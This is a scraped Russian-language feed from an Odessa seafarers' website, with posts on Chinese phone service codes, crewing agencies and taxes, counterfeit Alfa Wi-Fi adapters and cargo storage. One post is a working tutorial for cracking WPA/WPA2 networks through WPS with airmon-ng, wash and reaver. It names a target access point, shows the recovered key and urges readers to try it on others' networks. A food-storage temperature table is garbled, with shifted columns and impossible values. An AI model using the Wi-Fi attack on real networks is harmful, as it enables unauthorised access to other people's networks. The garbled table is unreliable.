*#1991200 6#
 
* #118811#

- Эти коды зависят от версии прошивки, так что придется вам по подбирать…..

Дальше нужно войти в меню Аудио.

Для аудио настроек существует три основных режима:

— нормальный режим – основной режим для обычного использования телефона
— режим громкоговорителя – режим для громкой связи
— режим наушников – режим для гарнитуры

Нужно выбрать тот режим, в котором вы хотите произвести регулировку громкости. Например: «Нормальный режим” — «Микрофон”. Перед вами появятся пункты меню «Громкость 0” — «Громкость 1” — «Громкость 2” — «Громкость 3” — «Громкость 4” — «Громкость 5” — «Громкость 6”.

Задача этих пунктов определить уровень сигнала микрофона, при определенных настройках общей громкости телефона (общая громкость телефона регулируется качелькой громкости телефона). По сути все сводится к простому правилу — «Чем выше громкость динамика – тем ниже чувствительность микрофона”. Например: в шумном помещении можно сделать выше громкость динамика (для лучшей слышимости собеседника) и ниже чувствительность микрофона (для уменьшения передачи внешних шумов). Для тихого помещения можно установить настройки наоборот.

Ниже представлен пример настроек. Заметим, что эти значения не являются единственными верными и лишь иллюстрируют сам принцип настройки. Конкретные параметры могут зависеть от микрофона в вашем телефоне.

Громкость 0 — 255
Громкость 1 — 235
Громкость 2 — 215
Громкость 3 — 205
Громкость 4 — 195
Громкость 5 — 185
Громкость 6 — 175

После установки необходимых значений в последнем пункте «16 Level setting«: Max Analog Gain — 178, Step — 4. Нажимаем OK. После этого нажимаем 2 раза «Назад«.На вопрос: «Обновить параметры? «. Отвечаем ДА! Перезагружаем телефон. Настройка завершена!

Стоит так же заметить, что излишняя чувствительность микрофона может привести к эффекту эха (собеседник слышит сам себя).

По принципу схожему с настройкой микрофона можно настроить громкость остальных аудиоустройств:

Речь – уровень громкости динамика в режиме обычного разговора
Тон клавиатуры – громкость сигнала при нажатии клавиш
Мелодия – громкость сигнала при вызове
Звук – громкость телевизора и радио

Если вам понадобится сбросить до заводских настроек нужно найти в меню настроек соответствующую опцию и ввести код.

В китайских телефонах в основном устанавливаются вот эти заводские коды:

0000 1122 1234 3344 5678

Надеюсь что эта статья вам поможет в настройках вашего китайского телефона.

Акция - Стильная кружка в подарок!

chibis — Thu, 24 Oct 2013 07:08:10 GMT

У нас стартовала акция Стильная кружка в подарок.

При покупке любого товара в нашем

Интернет Магазине ''Моряки Одессы'' $CUT$

МОРЯКИ ОДЕССЫ

Loading

Vessel

Акция! Акция!

Стильная кружка в подарок

У нас стартовала акция Стильная кружка в подарок.

При покупке любого товара в нашем

Интернет Магазине ''Моряки Одессы''

www.seaman-odessa.ucoz.ua/shop

на сумму от 2000 гр.

вы автоматически получаете керамическую кружку

в подарок от нашего Информационного интернет ресурса!

Мы делаем ваш дом ближе !!!!!!!

Мы всегда стремимся делать все возможное, чтобы каждое посещение нашего интернет магазина доставляло вам удовольствие и положительные эмоции. Специально для наших клиентов мы регулярно разрабатываем различные акции и предложения, которые помогут вам сделать покупку по выгодной цене либо получить оригинальный подарок.

МОРЯКИ ОДЕССЫ

www.seaman-odessa.ucoz.ua

Налог 2013- удар по морякам и защита персональных данных

chibis — Wed, 02 Oct 2013 12:39:34 GMT

С начала 2013 года со всех телеканалов и газет мы стали наблюдать такую тенденцию от налоговой в отношении украинского моряка в том что налоговики пытаются заполучить информацию о зарплатах моряка которые получали во время рейса через крюинговые агенства.

Согласно Закону "О защите персональных данных" крюинговые агентства не имеют права предоставлять информацию о моряках налоговым органам без согласия моряков. Информация о моряках собирается только с целью трудоустройства на судах загран плавания, а не в коем случае передачи налоговым органам личной информации. Без разрешения моряка передавать собранную информацию $CUT$ не кому нельзя.

Правда, есть некоторые украинские нормативные акты которые можно трактовать по разному, что посредник в трудоустройстве за границей обязан знать основные условия трудоустройства украинских граждан за границей.

Так, согласно лицензионным условиям посредник по трудоустройству за границей обязан иметь утвержденный работодателем проект трудового договора с моряком , включая условия оплаты. Однако целью лицензирования является обеспечение надлежащего уровня услуг и защита прав украинских моряков, работающих за границей, а не сбор налогов. Кроме того, типовой договор демонстрирует общие условия трудоустройства и не может использоваться как подтверждение доходов какого-то моряка лично.

Иными словами, даже если какая нибудь крюинговая компания имеет какую нибудь информацию о зарплате моряков определенных категорий, такая общая информация не даст возможности налоговой службе взыскать налог с конкретного моряка. А информации по доходу конкретных моряков крюинг собирать не должен, поскольку это не входит в предмет его отношений с моряком и было бы нарушением прав моряка в сфере охраны персональных данных.
Таким образом, хотя налоговая служба имеет полное право и фискальный мотив обратить внимание на доходы моряков, в крюинговых агентствах налоговая служба не может законным образом найти такую информацию.

И что получается что, складывается парадоксальная-ситуация с налогообложением доходов моряков.
С одной стороны, в теории моряки должны платить до 17 % подоходного налога на всю сумму полученной ими от иностранных работодателей зарплаты, без всякого учета того, что большую часть времени они не живут в Украине и, соответственно, не пользуются социальными услугами и не создают давления на рынок труда.
С другой же стороны, на практике у налоговой службы нет эффективных законных механизмов для того, чтобы взыскать этот налог с большинства моряков. И если даже налоговая служба найдёт законные, путем изменения законодательства, или не совсем законные способы "угнаться" за несколькими моряками, в долгосрочной перспективе это не приведет к росту налоговых поступлений, а будет только способствовать бегству зарплат моряков из Украины (часть денег уйдут на счета в иностранные банки).
Давление на крюинговые агентства, даже если под ним были бы законные основания, не решит вопрос и приведет лишь к ещё большей тенизации доходов моряков.

На какую хитрость пошли крюинги как же всё таки получит у нас моряков разрешение официально давать без вашего ведома информацию о вас налоговикам и другим организациям?

Все рано или поздно отправляют через интернет свои анкеты Application Form по крюингам так вот я вам опишу последний не по одинокий случай который пришёл от крюингового агенства Морское Агенство Украина ответ на мою анкету.

Уважаемый ........,

Благодарим Вас за интерес к нашей Компании и Вашу анкету.

Наши менеджеры перезвонят Вам, как только появятся вакансии, которые соответствуют Вашей должности/опыту.
С перечнем открытых вакансий Вы можете ознакомиться здесь http://www.mau.c......

Согласно ст. 12 Закона Украины "О защите персональных данных" просим распечатать, заполнить от руки и подписать Соглашение и Уведомление http://www.mau...... и выслать на адрес mau@....

Если Вы уже заполняли Соглашение и Уведомление в нашей компании
просим проигнорировать этот запрос.

С уважением,
Т........

UMA Co. Ltd. / Odessa, Ukraineas
as Agents only

Ниже Читайте текст Соглашения

ЗГОДА
на збір та обробку персональних даних

Я,     ,
(П. І. Б.)
(народився «____» ____________ 19___ року, паспорт серії ___ №____________, виданий ___________________________________________________________________________, дата: ________________ ) відповідно до Закону України «Про захист персональних даних» (№ 2297-VI от 01.06.2010 г.) /далі – Закон/ даю згоду Товариству з обмеженою відповідальністю «Морське Агентство «Україна» на обробку моїх персональних даних, отриманих з первинних джерел відомостей про фізичну особу (паспортні дані, в тому числі громадянство, прізвище, ім’я та по батькові, дата / місце народження, зареєстроване місце проживання / перебування, сімейний стан, склад сім’ї та дані членів родини, відомості щодо розміру одягу та взуття, відомості щодо освіти, професії, спеціальності, іншої кваліфікації та дозволів, необхідних про працевлаштування, відомості про попередній досвід роботи, відомості про стан щодо працевлаштування на момент виїзду, контактні дані – фактичне місце проживання, номери телефонів, адреса електронної пошти, зображення (фотографія), банківські реквізити, відомості про стан здоров’я, та інші відомості необхідні для надання посередницьких послуг щодо працевлаштування на суднах / проектах іноземних судновласників), відомостей щодо підготовки відповідно до вимог законодавства статистичної, адміністративної та іншої інформації з питань персоналу, управління людськими ресурсами, зокрема, кадровим потенціалом.

Також даю згоду на використання моїх персональних даних відповідно до положень ст.. 10 вищевказаного Закону, в т.ч. на надання права доступу до них згідно зі ст. 16 Закону та їх передачу (включаючи транскордонну передачу) будь-яким третім сторонам – виключно відповідно до визначеної мети їх обробки.

«________» _________________ 20___ р.

_____________ /________________________/
       Підпис                                  Прізвище Им’я

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    СОГЛАСИЕ
на сбор и обработку персональных данных

Я, ________________________________
                                (Ф.И.О.)
(родился «____» ____________ 19___ года, паспорт серии ___ № ____________, выдан _____________________________
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬__________________________________
_________, дата: ________________) согласно Закону Украины «О защите персональных данных» (№ 2297-VI от 01.06.2010 г.) / далее - Закон / даю согласие Обществу с ограниченной ответственностью «Морское Агентство «Украина» на обработку моих персональных данных, полученных из первичных источников сведений о физическом лице (паспортные данные, в том числе гражданство, фамилия, имя и отчество, дата / место рождения, зарегистрированное место проживания / пребывания, семейное положение, состав семьи и данные членов семьи, сведения о размере одежды и обуви, сведения об образовании, профессии, специальности, другой квалификации и разрешений, необходимых в трудоустройстве, сведения о предыдущем опыте работы, сведения в отношении трудоустройства на момент выезда, контактные данные - фактическое местожительство, номера телефонов, адрес электронной почты, изображение (фотография), банковские реквизиты, сведения о состоянии здоровья, и другие сведения, необходимые для оказания посреднических услуг по трудоустройству на судах / проектах иностранных судовладельцев), сведения о подготовке в соответствии с требованиями законодательства статистической, административной и иной информации по вопросам персонала, управления человеческими ресурсами, в частности, кадровым потенциалом.

Также даю согласие на использование моих персональных данных в соответствии с положениями ст .. 10 вышеуказанного Закона, в т.ч. на предоставление права доступа к ним согласно ст. 16 Закона и их передачу (включая трансграничную передачу) любым третьим сторонам - исключительно в соответствии с определенной цели их обработки.

«________» _________________ 20__ г.
_______ / ________________________ /
Подпись                Фамилия Имя

Тёмным цветом выделены наиболее опасные данные от вас!

Для тех кто не понял если вы подписываете эту бумагу крюинг может отдать вашу информацию кому угодно на полном официальном основании даже если вы в этом крюинге не когда и не работали.

И это не единственное крюинговое агенство в Одессе которые хотят получить от вас подобное разрешение. Подписывать не подписывать это дело ваше по крайне мере вы можете отсрочить беседу о ваших кровно заработанных с налоговым инспектором.

Статья написана в помощь морякам работающие в море.

brgds/Admin (www.seaman-odessa.ucoz.ua)

В поиске работы в море 1-й рейс и как не попастся в руки мошенников

chibis — Sun, 14 Jul 2013 14:36:11 GMT

Огромные бизнес - афёры на моряках и мошенники в индустрии трудоустройства
Многие молодые специалисты получившие морские документы сталкиваются в последнее время с огромной проблемой как уйти в рейс. Побегав по крюингам в городе Одесса они сталкиваются с не пониманием иногда и унижением, как по ощущениям с не преступной стеной со стороны крюингов и инспекторов, секретарей и тд.
Люди в падают в транс накапливают в себе негатив отвращение к всему происходящему им ведь всегда говорили окончите учебное заведение и вас обязательно возьмут в рейс нужны только документы. Потом оказывается во всех крюингах вы услышите один и тот же текст как под копирку нужен опыт
работы хотя бы 2 рейса вам скажут, и вы подумаете где взять не достающий вам опыт работы в помощь вам будет Google или любой поисковик,$CUT$ на многих морских форумах вы подчеркнёте себе очень многое во первых вы поймёте что без взятки за уход в рейс вы не уйдёте в свой первый рейс лишь 1 % смогут уйти сами остальным нужна помощь главное запомните в любом крюинге берут деньги за уход в рейс будь то V-Ships или Marlow все берут но только через посредников или не в здании самого крюинга я сейчас имею ввиду крупные крюинги а не например как крюинг Ocean Star где можно сразу на месте рассчитаться.

Как же всё таки уйти в рейс если вы в не состоянии дать взятку или просто денег жалко, в долбите себе в мозг крюинги это всего лишь посредники решать на ваш счёт отправить вас в рейс или не отправить будет лишь главный офис судовладельца они отправляют ваши анкеты и в их правах придержать вашу анкету или при украсить как бы красиво вас представить судовладельцу. Ваша главная задача не бегать по крюингам или звонить нужна ли такая должность или нет или посылать анкеты по E-mail (последнее не действует уже больше года многие фирмы ставят фильтр чтобы отправлять в спам ваши анкеты), а просто прийти к ним и сказать я хочу стать к вам на учёт, нужно будет заполнить анкету Aplication Form (без ошибок и подсказок это очень важно-подсказка вам на будущее нужно сделать одну анкету для себя и переписывать от туда а не вывалить на стол все свои документы и 2 часа заполнять их) сдать все тесты Marlins, Ces и др. на высокий бал пройти английский и собеседование с суперинтендантом, только после этого ваши шансы 50 на 50% будут и так каждый уважаемый хороший крюинг который не был до этого замечен в каких бы то афёрах или махинациях. Из отличных крюингов на пример в последние года вырвался в перёд среди других компания Anglo Eastern Group по чему она спросите потому что очень большая шкала зарплат так например на Балкерах у матроса зарплата 2500$ и выше не один крюинг себе не может похвастать что они для своих людей выбили такую зарплату потом ещё не плохой крюинг компания MSC очень хороший рост шкала зарплат и возвратный бонус без лимитный сколько ходишь в рейс столько и получаешь например у 2 пом. 200$ + ежемесячно.
Какой крюинг я бы не рекомендовал бы долго задерживаться так это V-Ships максимум 3 контракта опыта набрались и ушли почему так потому что после развала ЧМП многие ушли в этот крюинг и появилась так сказать костяк в плане совдепии и коммунизма вы на судах этой компании не найдёте спокойной работы вам будут весь рейс дёргать проводить собрании экипажа тренинги и др. Ну скажу так нервные клетки не восстанавливаются а всё что написано об этой компании уже было написано и не мало в интернете.

Так вот как же всё таки попасть в рейс и не отдать свои кровные мошенникам которые в последнее время появилось очень много.
Всегда не когда не давайте деньги на перёд только после подписания контракта или договорится после рейса скажем аванс 100$ сейчас остальные потом давать тем людям которым вам рекомендовали ваши знакомые или вы знаете и уже разговаривали с вашим инспектором.

Запомните эти рекомендации и вы некогда не попадёте в ситуации описанные ниже.

От себя добавлю!
трудоустройство в море это

большой труд нервы деньги и всё

остальное не бегите за большими

зарплатами ваша задача определится

на каких типах судов вы хотите в

дальнейшем работать в этом

направлении вы и должны строить

свою карьеру соглашайтесь на любую

зарплату быстро продвегайтесь по

карьерной лестнеце и в будующем

будет у вас огромный успех.

Статья написана из за многочисленных звонков к нам чтобы упростить и ускорить в поисках работы трудоустройство молодых специалистов.

С уважением Администрация-Моряки Одессы

И снова о подделках всемирно известной фирмы Alfa Network Made in Taiwan

chibis — Wed, 10 Jul 2013 14:36:08 GMT

Подделки Alfa Network: чем дальше, тем больше.

Не так давно мы уже информировали вас о подделках продукции Alfa Network:
подробнее здесь.
Тогда мы обращали Ваше внимание на часто подделываемые модели, и различия в упаковке и системной плате.

За это время многое поменялось: подделок стало больше, и внешних различий стало меньше.

По прежнему самые подделываемые модели это: Alfa AWUS036H, AWUS036H luxury, AWUS036NH $CUT$ и AWUS036NHR, т.е все самые популярные модели.

C начала 2012 был изменен дизайн упаковки всех моделей ALFA и на сегодняшний момент это выглядит так:

ALFA AWUS036H

ALFA AWUS036NHR

ALFA AWUS036NHA

ALFA AWUS036NH

ALFA AWUS036H Luxury edition

Если Вам сейчас предлагают купить адаптеры в других упаковках - Вам предлагают подделки!

Смотрите ниже фото основных упаковок подделок:

Основная подделка AWUS036H

Самая низкокачественная подделка AWUS036H

Старая подделка AWUS036H Luxury

Частая подделка AWUS036H Luxury

еще одна подделка AWUS036H

Сразу следует отметить, что на последнем фото изображена почти точная копия упаковки AWUS036H, которая поставлялась в 2010-2011 годах. Если Вы покупали этот адаптер в то время у проверенных поставщиков, то у Вас оригинал. Но сейчас оригинал в такой коробке уже не найти, ведь прошло свыше 18 месяцев после изменения упаковки. А такой востребованный товар так долго на складах не задерживается.

Основные претензии к подделкам все те же: низкое качество сборки и материалов, совсем другие технические характеристики и системные платы, а часто и другие чипы. Оригинальная ALFA AWUS036H в основе имеет чип Realtek RTL8187L, в то время как в подделках часто используется более дешевый Realtek RTL8187B.

MAC адреса устройств должны соответствовать производителю. Например для ALFA Network они начинаются с 00:С0:CA... На сайте http://2ip.com.ua Вы можете узнать производителя оборудования по MAC адресу устройства. На подделках часто наклеивают карточку с правильным форматом адреса, но по факту он определяется как совершенно другой.

Кто же производит подделки и каким образом они поступают в Украину? Естественно все подделки родом из Китая! Следует отметить, что в Китае нет официальных дилеров ALFA и оригинальная продукция туда не поставляется вообще! На востоке оригинал можно купить на Тайване, в Гонконге и Сингапуре и других странах мира у официальных дилеров.

Мы попытались найти производителей подделок в Китае и поиски привели нас на самую крупную площадку торговли контрафактом в Китае - Aliexpress. Там можно найти подделки практически любого бренда в любой категории. Именно там закупаются большинство украинских торговцев контрафактом. Как сообщает ТСН: В Украине 90% продаваемой продукции- подделка!

Заходим на эту торговую площадку и вводим в поиск ALFA AWUS036H:

Нажмите на картинку для увеличения.

Поиск выдал нам 126 предложений доступных для заказа в Украину. Предлагаемая цена за единицу менее 15 USD с бесплатной доставкой из Китая.
Как думаете какого качества можно ожидать от устройства за 15$, в стоимость которого еще входит пересылка через пол мира?

Мы решили обратиться к поставщику и уточнить, что он продает. Первый в списке был продавец FOCALVALUE TECHNOLOGY CO., LIMITED, который на момент написания статьи уже продал 181 адаптер. Мы поинтересовались, оригинал ли это и какой чип используется.

нажмите для увеличения

Продавец честно признался, что это копия. Но заверил, что хорошего качества)) Кстати шлют они их вообще без упаковки, видимо, чтобы не смущать покупателя и не отвечать на лишние вопросы.

Следующий по списку был продавец luckystar's store. Мы ему задали тот же вопрос и получили примерно такой же ответ:

нажмите для увеличения

Продавец пишет, что это копия и в Китае оригиналов нет. Т.е китайцы прекрасно понимают, что они продают и не скрывают этого.

Но это еще не все! Там же можно найти предложения Alfa AWUS036H в точности повторяющих оригинал по внешнему виду!
Например здесь. Судя по фото, коробка абсолютно идентична оригиналу. Продавец на наши письма не ответил. В своем магазине он продает подделки одежды Adidas и Alfa Network. Очень интересное сочетание))

нажмите для увеличения

Какие выводы можно сделать из вышеизложенного?

Индустрия подделок на месте на стоит и уже есть подделки абсолютно повторяющие оригинал по внешнему виду. Конечно внутри стоят совсем другие микросхемы с другими техническими характеристиками, но обманутые покупатели могут об этом и не догадываться.

Предприимчивые украинские и российские торговцы предпочитают закупать дешевые копии и продавать их тут по месту доверчивым покупателям под видом оригинала.

Одно дело купить копию в Китае за 15$, вроде и деньги небольшие и как-то работать будет.
Но совсем другое дело купить такую же копию в Украине чуть дешевле или вообще по цене оригинала!

На интернет форумах все чаще появляется информация о покупке подделок в Украине и за рубежом:
например www.taker.im и др.

Еще статьи на тему подделок на других сайтах:

http://alfanet.prom.ua/a51851-ostorozhno-poddelki-alfa.html
http://yorix.ru/Alfa/awus036h.html
http://www.technotrade.com.ua/Articles/origin_alfa_vs_fake_2013-04-05.php
http://seaman-odessa.ucoz.ua/news/ostorozhno_poddelki_alfa_network/2011-09-08-36

Мы по прежнему рекомендуем приобретать оборудование ALFA Network только у надежных поставщиков с проверенной временем репутацией. Покупая продукцию с рук через интернет объявления, аукционы или на радиорынках, Вы рискуете купить подделку по цене оригинала, без гарантий, консультаций и сервисного обслуживания.

Информация предоставлена нашими партнёрами из информационного интернет ресурса AlfaNet Long Range WIFI

Оригинальные адаптеры производства Alfa network made in Taiwan в большом ассортименте можно

приобрести у нас в нашем Интернет Магазине - Моряки Одессы

Видео как распознать подделку адаптера Alfa awus 036H

Marine Wi-Fi - Делитесь своим опытом по использованию WiFi устройств в Море.

chibis — Wed, 03 Jul 2013 14:35:38 GMT

Уважаемые наши клиенты мы с радостью представляем вам новый проект о связи в море - MARINEWIFI.COM.UA

Проект интересен будет как морякам так и любым покупателям WiFi оборудования только правдивая информация от покупателей по всему рынку WiFi оборудования, где купить оригинальную продукцию кто продаёт подделки на территории Украины и СНГ в каких интернет магазинах продают контрафактную продукцию в каких только оригинал всё это и много другой информации вы найдёте на страницах этого интернет проекта, оставляйте свои комментарии, фотографии,$CUT$ присылайте свои обзоры, делитесь своим опытом с другими !

Миллионы покупателей по всему миру будут вам очень благодарны за предоставленную вами фото и текстовую информацию.

Внимание Акция

Первые 10 человек, которые пришлют свои обзоры оборудования получат эксклюзивную чашку MarineWi-Fi!

Спешите, кто первый тот всегда в Трэнде событий ! www.marinewifi.com.ua

ВАР-ВАР-ВИНГ для BT-5 (2) хак. WPA & WPA2 Инструкция

chibis — Sun, 16 Jun 2013 14:07:47 GMT

Для начало маленькая предыстория, сеть WPA и WPA2 возможно сломать,

только если служба WPS на роутере включена,

в противном случае взлом будет невозможен, но не стоит отчаиваться т.к. на большинстве роутеров её вообще невозможно отключить, так что поверти хоть кто нибудь но попадётся. $CUT$

Целью протокола WPS является упрощение процесса настройки беспроводной сети, поэтому изначально он назывался Wi-Fi Simple Config. Протокол призван оказать помощь пользователям, которые не обладают широкими знаниями о безопасности в беспроводных сетях, и как следствие, имеют сложности при осуществлении настроек. WPS автоматически обозначает имя сети и задает шифрование, для защиты от несанкционированного доступа в сеть, при этом нет необходимости вручную задавать все параметры.

Самым зачищенным роутером в этом плане является TP-LINK по крайней мере на моём служба WPS просто отсутствует, что очень хорошо. А вот самые уязвимые это Linksys и Cisco. Так что хотя бы кто нибуть но использует эти модели!

В моём районе сетей WPA нет, этот пример был выложен в инете за долго до меня я просто кое что подкорректировал. Сам ломать пробовал у друга всё, получилось!

Итак, для начала посмотрим, какие беспроводные интерфейсы имеются.

Код:
airmon-ng

Переводим интерфейс wlan1 в режим монитора (monitor mode)

Код:
airmon-ng start wlan1

После того как wi-fi интерфейс настроен, просмотрим wi-fi сети, которые находятся в зоне действия.

Код:
airodump-ng mon0

(Остановить сканирование можно нажав Ctrl+Z)

Кстати, можно так же использовать программу wash. Она позволяет просматривать точки доступа (AP), на которых включен WPS. (это даже лучше )

Код:

wash -i mon0

Выдаст точки которые уязвимы к взлому

BC:AE:C5:71:D3:17 hub-lex-AP

84:C9:B2:4C:E0:57 1-OJ

00:24:01:1B:1F:B3 more

F0:7D:68:40:46:DE Okean

00:14:D1:E2:06:94 TRENDnet651

14:D6:4D:B5:07:4C DomTar

И далее пускаем взлом (мы выбрали первую точку прописав MAC)

Код:

reaver -i mon0 -b BC:AE:C5:71:D3:17 -vv

И начинается сам процесс взлома

Reaver v1.3 WiFi Protected Setup Attack Tool

[+] Waiting for beacon from BC:AE:C5:71:D3:17

[+] Associated with BC:AE:C5:71:D3:17 (ESSID: hub-lex-AP)

[+] 0.04% complete @ 2012-01-22 03:01:06 (5 seconds/attempt)

[+] 0.05% complete @ 2012-01-22 03:01:22 (6 seconds/attempt)

...

[+] 96.76% complete @ 2012-01-22 05:00:31 (4 seconds/attempt)

[+] 96.81% complete @ 2012-01-22 05:00:46 (4 seconds/attempt)

[+] 96.83% complete @ 2012-01-22 05:01:07 (4 seconds/attempt)

[+] 96.85% complete @ 2012-01-22 05:01:30 (4 seconds/attempt)

[+] 96.89% complete @ 2012-01-22 05:01:43 (4 seconds/attempt)

[+] 96.92% complete @ 2012-01-22 05:02:00 (4 seconds/attempt)

[+] 96.96% complete @ 2012-01-22 05:02:14 (4 seconds/attempt)

[+] 97.01% complete @ 2012-01-22 05:02:29 (4 seconds/attempt)

[+] 97.03% complete @ 2012-01-22 05:02:41 (4 seconds/attempt)

[+] 97.05% complete @ 2012-01-22 05:03:15 (4 seconds/attempt)

[+] 97.09% complete @ 2012-01-22 05:03:29 (4 seconds/attempt)

[+] 97.14% complete @ 2012-01-22 05:03:44 (4 seconds/attempt)

[+] WPS PIN: '31150545'

[+] WPA PSK: 'elNpTxD2uimQX2b/MpDKb0UL7[STPO?tIK5k.M(V"k?P7X;jrcx'

[+] AP SSID: 'hub-lex-AP'

Как видите пароль был поставлен очень сложный, что не помешало добиться желаемого результата.

Чтобы защититься от данного вида атаки, необходимо отключить службу WPS на роутере! Пароль красными буквами!!!

И ещё, в этом примере ребята хакнули сетку за 5 мин, при условии хорошего сигнала. Ели же сигнал не очень это может занять от 5мин до 10 часов. Сетку моего друга мы ломали 2 часа.

Удачи!!!

Информация собрана по страницам сети интернета!

Fruits & Vegetables	Recommended Temperature (С)			Recommended Temperature (F)				Ventilation setting (CMH)			Storage Days
Min		Max				Min				Max
Apples	-1.0		+4.0		+30.0		+39.0		25-60		90-240
Apricots	15-60			7-14				0.0			+32.0
Asparagus	0.0		+1.5		+32.0		+35.0		20-30		14-21
Avocados	+3.0		+6.0		+37.0		+443.0		30		14-28
Bananas	+13.3		+13.5		+56.0		+56.0		15-25		7-28
Blueberries	-1.0		0.0		+30.0		+32.0		0-10		7-14
Broccoli	0.0		+1.0		+32.0		+34.0		20-50		7-14
Cabbage	-2.0		+1.0		+28.0		+34.0		15-30		7-120
Carrots	-1.0		+1.0		+30.0		+34.0		20-25		28-180
Cauliflowers	20-60			14-21				0.0			+32.0
Celery	20-25			14-42				0.0			+32.0
Cherries	-1.0		0.0		+30.0		+32.0		0-25		14-21
Clementines	0.0		+4.0		+32.0		+39.0		20-60		7-50
Cucumbers	+10.0		+13.0		+50.0		+455.0		15-25		7-14
Durians	+14.0		+15.0		+57.0		+459.0		30		7-50
Figs	0-10			7-14				0.0			+32.0
Garlic	-3.0		0.0		+27.0		+32.0		10-20		90-180
Ginger	10-20			30-90				+13.0			+55.0
Grapefruits	+10.0		+16.0		+50.0		+461.0		15-25		28-60
Grapes	-1.0		0.0		+30.0		+32.0		10-20		30-150
Kiwifruit	15-25			60-90				0.0			+32.0
Leeks	15-60			30-90				0.0			+32.0
Lemons		15-25				30-120				Depends on Species
Lettuce	20-30			7-21				0.0			+32.0
Limes	15-25			14-56				+8 +13			+46 +55
Lychees	+2.0		+6.0		+36.0		+43.0		10-20		21-35
Mangoes	+3.0		+14.0		+46.0		+57.0		25-35		14-24
Melons (Cantaloupe)	+3.0		+5.0		+37.0		+41.0		25-30		7-14
Melons (honeydew)	+9.0		+13.0		+48.0		+55.0		25-30		16-20
Onions (dry)	0.0		+2.0		+32.0		+36.0		10-25		30-180
Oranges	+2.0		+9.0		+36.0		+48.0		15-25		14-90
Papayas	+7.0		+13.0		+45.0		+55.0		25-30		14-21
Peaches/Nectarines	15-20			14-28				0.0			+32.0
Pears	-1.0		0.0		+30.0		+32.0		15-50		14-180
Pineapples	+6.0		+13.0		+43.0		+55.0		15-25		14-21
Plantains	+7.0		+15.0		+45.0		+59.0		15-25		7-28
Plums	15-25			7-35				0.0			+32.0
Potatoes	+4.0		+8.0		+39.0		+46.0		15-50		30-180
Potatoes (sweet)	+12.0		+16.0		+54.0		+61.0		Close		30-180
Pumpkins	+7.0		+13.0		+45.0		+55.0		0-15		60-90
Strawberries	10-25			5-10				0.0			+32.0
Tomatoes	+10.0		+15.0		+50.0		+59.0		15-25		14-21
Turnips	0.0		+4.0		+32.0		+39.0		Close		7-28
Others (Dairy, Meat, Seafood, etc.)
Butter	0.0		+2.0		+32.0		+36.0		Close		/
Butter (Frozen)	-30.0		-20.0		-22.0		-4.0		Close		/
Cheese	0.0		+6.0		+32.0		+443.0		Close		/
Chocolate	+10.0		+18.0		+50.0		+65.0		Close		/
Eggs	-2.0		+1.0		+28.0		+34.0		Close		/
Fish (Frozen)	-30.0		-18.0		-22.0		0.0		Close		/
Ice Cream	-30.0		-26.0		-22.0		-15.0		Close		/
Juice and Concentrate (Frozen)	-30.0		-18.0		-22.0		0.0		Close		/
Meat (Chilled)	-2.0		0.0		+28.0		+32.0		Close		/
Meat (Frozen)	-30.0		-18.0		-22.0		0.0		Close		/
Milk & Dairy Products	0.0		+1.0		+32.0		+34.0		Close		/
Poultry (Frozen)	-30.0		-18.0		-22.0		0.0		Close		/
Shellfish (Frozen)	-30.0		-18.0		-22.0		0.0		Close		/
Vegetables (Frozen)	-30.0		-18.0		-22.0		0.0		Close		/

Моряки Одессы - лучшие товары для моряков!

Юридические услуги

Бесплатное размещение обьявления Аренда/Покупка/Продажа недвижимости В Одессе и Облласти.

Помощник моряка для быстрого ухода в рейс

Шпаргалка Seagull Версия: 7.2.1 последнее обновление 2021год

Кабель AIS Pilot Plug USB

Контактная информация и заказ товара по Одессе , Украине и России

Шпаргалка версия 7.0 (SEAGULL) последнее обновление 2019года

Расшифровка абривиатура английских и русских формул в Excel

Соответствие английских и русских формул в Excel

Соответствие русских и английских формул в Excel

1SMP.COM Секреты эффективной рассылки анкеты моряка CV Application Form

BonMarine ISM TEST Familiarization with Golden port Safety Management

Рекомендованные температуры для хранения продуктов в рейсе

Dew Point- рассчёт по формуле находим Точку россы вентилируем или не винтилируем трюма

МИНИМАЛЬНЫЕ ЗНАНИЯ ДЛЯ СДАЧИ ГМССБ(GMDSS) В ВОПРОСАХ И ОТВЕТАХ (Часть 2)

МИНИМАЛЬНЫЕ ЗНАНИЯ ДЛЯ СДАЧИ ГМССБ(GMDSS) В ВОПРОСАХ И ОТВЕТАХ (Часть 1)

Подборка погон, знаков отличия для работников Морского Флота

Крюинговые Агенства в Одессе

Список банков в Украине которые были и будут закрыты в 2015году

Wi-Fi Map Pro лучшая программа для обнаружения бесплатного интернета по всему миру.

Помощь в трудоустройстве OdessaCrewing

Лимонад делаем дома

Внимание! Пропал Капитан в море работал от Марлоу Навигатион

Ролевые Игры

Похищен ребенок. Kidnapped child.

Мороженое

Настройки для китайского телефона

Акция - Стильная кружка в подарок!

Налог 2013- удар по морякам и защита персональных данных

В поиске работы в море 1-й рейс и как не попастся в руки мошенников

От себя добавлю!трудоустройство в море это

большой труд нервы деньги и всё

остальное не бегите за большими

зарплатами ваша задача определится

на каких типах судов вы хотите в

дальнейшем работать в этом

направлении вы и должны строить

свою карьеру соглашайтесь на любую

зарплату быстро продвегайтесь по

карьерной лестнеце и в будующем

будет у вас огромный успех.

Статья написана из за многочисленных звонков к нам чтобы упростить и ускорить в поисках работы трудоустройство молодых специалистов.

И снова о подделках всемирно известной фирмы Alfa Network Made in Taiwan

Подделки Alfa Network: чем дальше, тем больше.

Marine Wi-Fi - Делитесь своим опытом по использованию WiFi устройств в Море.

Спешите, кто первый тот всегда в Трэнде событий ! www.marinewifi.com.ua

ВАР-ВАР-ВИНГ для BT-5 (2) хак. WPA & WPA2 Инструкция

От себя добавлю!
трудоустройство в море это